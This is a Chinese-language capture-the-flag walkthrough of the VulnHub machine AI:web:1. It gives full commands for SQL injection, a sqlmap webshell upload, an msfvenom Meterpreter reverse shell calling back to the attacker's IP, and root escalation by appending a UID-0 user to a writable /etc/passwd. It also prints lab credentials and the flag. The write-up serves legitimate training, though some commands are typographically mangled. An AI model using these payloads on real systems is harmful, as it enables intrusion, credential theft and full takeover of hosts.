vulnhub靶场渗透系列-- AI:web:1

AI:web:1

文章目录

  • AI:web:1
  • 前言
  • 靶机地址
  • 工具、知识点和漏洞
  • 存疑、待解决
  • 一、信息收集
  • 二、SQL注入
  • 三、提权
    • file-dest 写入 webshell
    • Find SUID
    • 添加用户名密码到/etc/passwd
  • 后记

前言

前面给大家讲解了外网和内网渗透的相关知识和技术,以及各种工具的使用,在我们渗透中都会遇到,接下来我们需要进行靶场的练习和渗透了,这也是一个提升渗透能力的方法,这里给大家推荐几个比较好的额靶场,vulnhub和红日靶场(http://vulnstack.qiyuanxuetang.net),个人觉得红日靶场做的很好,可以全方位从外到内进行渗透,能学习到很多知识点。

靶机地址

https://www.vulnhub.com/entry/ai-web-1,353/

工具、知识点和漏洞

arp-scan -l
dirsearch
dirb
sqlmap
burpsuite
metasploit
msfvenom
SQL注入
/etc/passwd提权

存疑、待解决

在这个靶机中,如何使用–sql-query 在 uploads 目录下写入 webshell

一、信息收集

首先我们打开靶机,进行ip的探测
vulnhub靶场渗透系列-- AI:web:1_第1张图片

arp -scan -l
vulnhub靶场渗透系列-- AI:web:1_第2张图片

我们可以看到是192.168.231.150的地址,我们扫描一下端口的开放信息,同样进行全端口扫描
nmap -sS -sV -p- 192.168.231.150
vulnhub靶场渗透系列-- AI:web:1_第3张图片
发现只开放了80端口,我们查看你一下80端口的服务
http://192.168.231.150:80vulnhub靶场渗透系列-- AI:web:1_第4张图片

什么也没有,那只能去目录了,看看有什么可用的信息,我们用disrearch工具去扫目录
python3 dirsearch.py -u “http://192.168.231.150/”
vulnhub靶场渗透系列-- AI:web:1_第5张图片
发现有一个robots.txt文件存在,我们查看一下内容
vulnhub靶场渗透系列-- AI:web:1_第6张图片

http://192.168.231.150/robots.txt
User-agent: *
Disallow:
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

发现里面有两个目录,我们都分别看一下有什么信息
vulnhub靶场渗透系列-- AI:web:1_第7张图片
http://192.168.231.150/m3diNf0/
vulnhub靶场渗透系列-- AI:web:1_第8张图片
http://192.168.231.150/se3reTdir777/uploads/
vulnhub靶场渗透系列-- AI:web:1_第9张图片
给出的两个目录下的路径都打不开,我们再试一下这个路径
http://192.168.231.150/se3reTdir777/
vulnhub靶场渗透系列-- AI:web:1_第10张图片
发现存在有提交框vulnhub靶场渗透系列-- AI:web:1_第11张图片

二、SQL注入

这不就是单纯的SQL注入吗,我们验证一下,我们输入单引号,直接报错
vulnhub靶场渗透系列-- AI:web:1_第12张图片

vulnhub靶场渗透系列-- AI:web:1_第13张图片
我们直接进行一波操作,查库,表,字段,字段信息内容,上语句,先查看一下有多少个字段,我们输入’order by 3-- ,返回正确,这里由于做完实验后,数据库连接不上了,就不上图了,大家知道方法就好了,我们直接构造payload进行查询就好了

输入’ union select 1,database(),3-- ,在第二个字段处返回aiweb1,当前数据库为aiweb1

查表
’ union select table_name,table_schema,3 from information_schema.tables where table_schema=database()–
返回了连个表:systemUser,user

查表中的字段
’ union select 1,2,column_name from information_schema.columns where table_schema=‘aiweb1’ and table_name=‘systemUser’–
’ union select 1,2,column_name from information_schema.columns where table_schema=‘aiweb1’ and table_name=‘user’–
vulnhub靶场渗透系列-- AI:web:1_第14张图片
systemUser:id,userName,password
user:id,firstName,lastName
我们猜测数据库的账号和密码就在systemUser表中

查字段信息
’ union select id,userName,password from aiweb1.systemUser–

字段信息:
Id:1
First Name: t00r
Last Name: RmFrZVVzZXJQYXNzdzByZA==(base64加密)
FakeUserPassw0rd(通过base64解密后的明文密码)

Id:2
First Name: aiweb1pwn
Last Name: TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==
MyEvilPass_f908sdaf9_sadfasf0sa

Id:3
First Name: u3er
Last Name: TjB0VGhpczBuZUFsczA=
N0tThis0neAls0

但是似乎没有什么用,看看还有什么信息可以利用,我们分别在扫一下得到的路径的目录
python3 dirsearch.py -u “http://192.168.231.150/se3reTdir777/uploads/”

http://192.168.231.150/se3reTdir777/
http://192.168.231.150/se3reTdir777/uploads/
vulnhub靶场渗透系列-- AI:web:1_第15张图片
vulnhub靶场渗透系列-- AI:web:1_第16张图片
还是没有什么信息,下面连个可用的路径都是一样的,我们再看另外一个路径
python3 dirsearch.py -u “http://192.168.231.150//m3diNf0/”

http://192.168.231.150//m3diNf0/
vulnhub靶场渗透系列-- AI:web:1_第17张图片
发现存在一个info.php文件,这不是那个phpinfo信息吗,我们访问一下
vulnhub靶场渗透系列-- AI:web:1_第18张图片
发现了网站的根路径
/home/www/html/web1x443290o2sdf92213

只有知道物理路径我们才有可能获取 webshell,重新尝试–os-shell 第一次使用的路径是
/home/www/html/web1x443290o2sdf92213/,没有成功,可能是没有写入权限。想到之前个/se3reTdir777/uploads/目录,作为上传目录应该是有写入权限的,一试果然可以。
vulnhub靶场渗透系列-- AI:web:1_第19张图片
之后执行 sudo -l,然后又出了点问题,我为什么要一根筋的一直用 os-shell呢
vulnhub靶场渗透系列-- AI:web:1_第20张图片
想在 uploads 目录下写入一个 shell,先后开始用了–sql-shell、–sql-query,结
果提示:execution of non-query SQL statements is only available when stacked
queries are supported。

我给SQL注入页面抓了一个包,放在1.txt文件里进行扫描
python3 sqlmap.py -r C:/Users/admin/Desktop/1.txt --sql-query=‘select “” INTO OUTFILE “/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php”’
vulnhub靶场渗透系列-- AI:web:1_第21张图片
数据库断开了,所以出现报错
vulnhub靶场渗透系列-- AI:web:1_第22张图片
通过–sql-query发现插不进去,采用另一个办法用file-dest写入

三、提权

file-dest 写入 webshell

尝试使用–file-dest 将 webshell 写入到 uploads 目录 先使用 msfvenom 生成 shell
代码,记得把生成的 shell 代码的最前面两个字符/*,其实去不去掉,无所谓,不影响后面反弹的会话,一样可获得flag。

通过msfvenom来生成一个php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.231.128 LPORT=5555 R > shell.php
vulnhub靶场渗透系列-- AI:web:1_第23张图片

发现已经生成了
vulnhub靶场渗透系列-- AI:web:1_第24张图片
cat hao.php 查看php里面的内容,是一个php文件的木马,用来反弹shell的
vulnhub靶场渗透系列-- AI:web:1_第25张图片

接下来我们把马上传到数据库的upload目录下,我们需要在kali中打开sqlmap,将刚才1.txt文件传到kali中,输入以下语句
sqlmap -r /home/zhian/test/1.txt --file-write /home/zhian/test/hao.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hao.php
vulnhub靶场渗透系列-- AI:web:1_第26张图片
发现执行成了,成功写入了
vulnhub靶场渗透系列-- AI:web:1_第27张图片
我们执行一下
http://192.168.231.150/se3reTdir777/uploads/hao.php
vulnhub靶场渗透系列-- AI:web:1_第28张图片
执行成功了,我们回到msf中进行监听,设置好参数
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.231.128
set lport 1234
options
run
vulnhub靶场渗透系列-- AI:web:1_第29张图片
我们在执行一下,刚才的那个路径
http://192.168.231.150/se3reTdir777/uploads/hao.php
vulnhub靶场渗透系列-- AI:web:1_第30张图片
返回了会话
执行一下getsystem提升不了权限,我们输入shell,在shell中进行提权,输入以下语句用于返回一个shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
vulnhub靶场渗透系列-- AI:web:1_第31张图片
我们查看一下内核版本信息,是4.15版本的
4.15.0-64-generic
vulnhub靶场渗透系列-- AI:web:1_第32张图片
我们搜索4.15有什么漏洞
searchsploit linux 4.15

有四个本地权限提升的漏洞,我只试了第一个,因为需要靶机安装了 gcc 才能进
行后续操作,而安装的时候需要使用 sudo 命令,我们不知道 www-data 用户的登
录密码,所以放弃。
vulnhub靶场渗透系列-- AI:web:1_第33张图片
cat /etc/passwd
发现有这么几个用户: aiweb1 aiweb1pw
vulnhub靶场渗透系列-- AI:web:1_第34张图片
普通用户:
aiweb1❌1000:1000:AIWEB1:/home/aiweb1:/bin/bash
aiweb1pwn❌1001:1001::/home/aiweb1pwn:/bin/sh

在/home/www/html/web1x443290o2sdf92213/se3reTdir777/目录下发现一个
c0nFil3bd.php,浏览器访问时无内容。cat 打开之后发现是个数据库连接配置文
件,里面有用户名密码 aiweb1user/wGuDisZiTkLhuiH_z_zZQXXi,然而没什么用。

cd /home/www/html/web1x443290o2sdf92213/se3reTdir777/
cat c0nFil3bd.php

vulnhub靶场渗透系列-- AI:web:1_第35张图片
数据库密码
aiweb1user
wGuDisZiTkLhuiH_z_zZQXXi

Find SUID

find / -perm -u=s -type f 2>/dev/null
没有发现可用的 SUID 权限可执行程序,常见的 SUID 提权程序如下:
nmap,vim,less,more,nano,cp,mv,find,bash

www-data 用户执行 sudo 命令需要密码,而且我们也不知道 www-data 用户在不在/etc/sudoers 中。

寻找无果后,我们进行进行如何提权的问题:
全局可写文件夹、文件
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件
vulnhub靶场渗透系列-- AI:web:1_第36张图片

在最后终于找到了/etc/passwd
vulnhub靶场渗透系列-- AI:web:1_第37张图片
ls -la /etc/passwd
-rw-r–r-- 1 www-data www-data 1664 Aug 21 2019 /etc/passwd 有可读写的权限

添加用户名密码到/etc/passwd

www-data 用户具有/etc/passwd 的可写权限。添加一个用户到/etc/passwd 文件中

关于Linux提权和利用suid提权,大家可以看这篇文章Linux提权和利用suid提权方法

将密码用盐生成密码hash
perl -le ‘print crypt(“Ai:Web:1.0”,“salt”)’

将用户ins1ght和密码Ai:Web:1.0,生成的密码hash添加到 入/etc/passwd中
echo “ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash” >> /etc/passwd
vulnhub靶场渗透系列-- AI:web:1_第38张图片

cat /etc/passwd | grep ins1gh
ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash
vulnhub靶场渗透系列-- AI:web:1_第39张图片
查看已经存在/etc/passwd文件中了
vulnhub靶场渗透系列-- AI:web:1_第40张图片
使用 su ins1ght 切换账户,密码是:Ai:Web:1.0

我们来查看flag所在位置,输入以下语句:
find / -name flag*
vulnhub靶场渗透系列-- AI:web:1_第41张图片

在/root/flag.txt路径下
vulnhub靶场渗透系列-- AI:web:1_第42张图片
我们直接输入cd /root
vulnhub靶场渗透系列-- AI:web:1_第43张图片
cat flag.txt
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
我们就拿到flag了。

后记

这里,我们就完成了靶机的练习了,本次实验相对来说,较简单,没有太多的绕弯,直接获取到了shell,但是到提权那里就有点难度了,是通过写入/etc/passwd文件来提权的,在实战中比较少见,大家可以把它作为一条思路来利用。下次有空的话,给大家讲讲红日靶场的渗透过程吧。

你可能感兴趣的:(vulnhub靶场渗透系列,安全性测试,web安全,安全)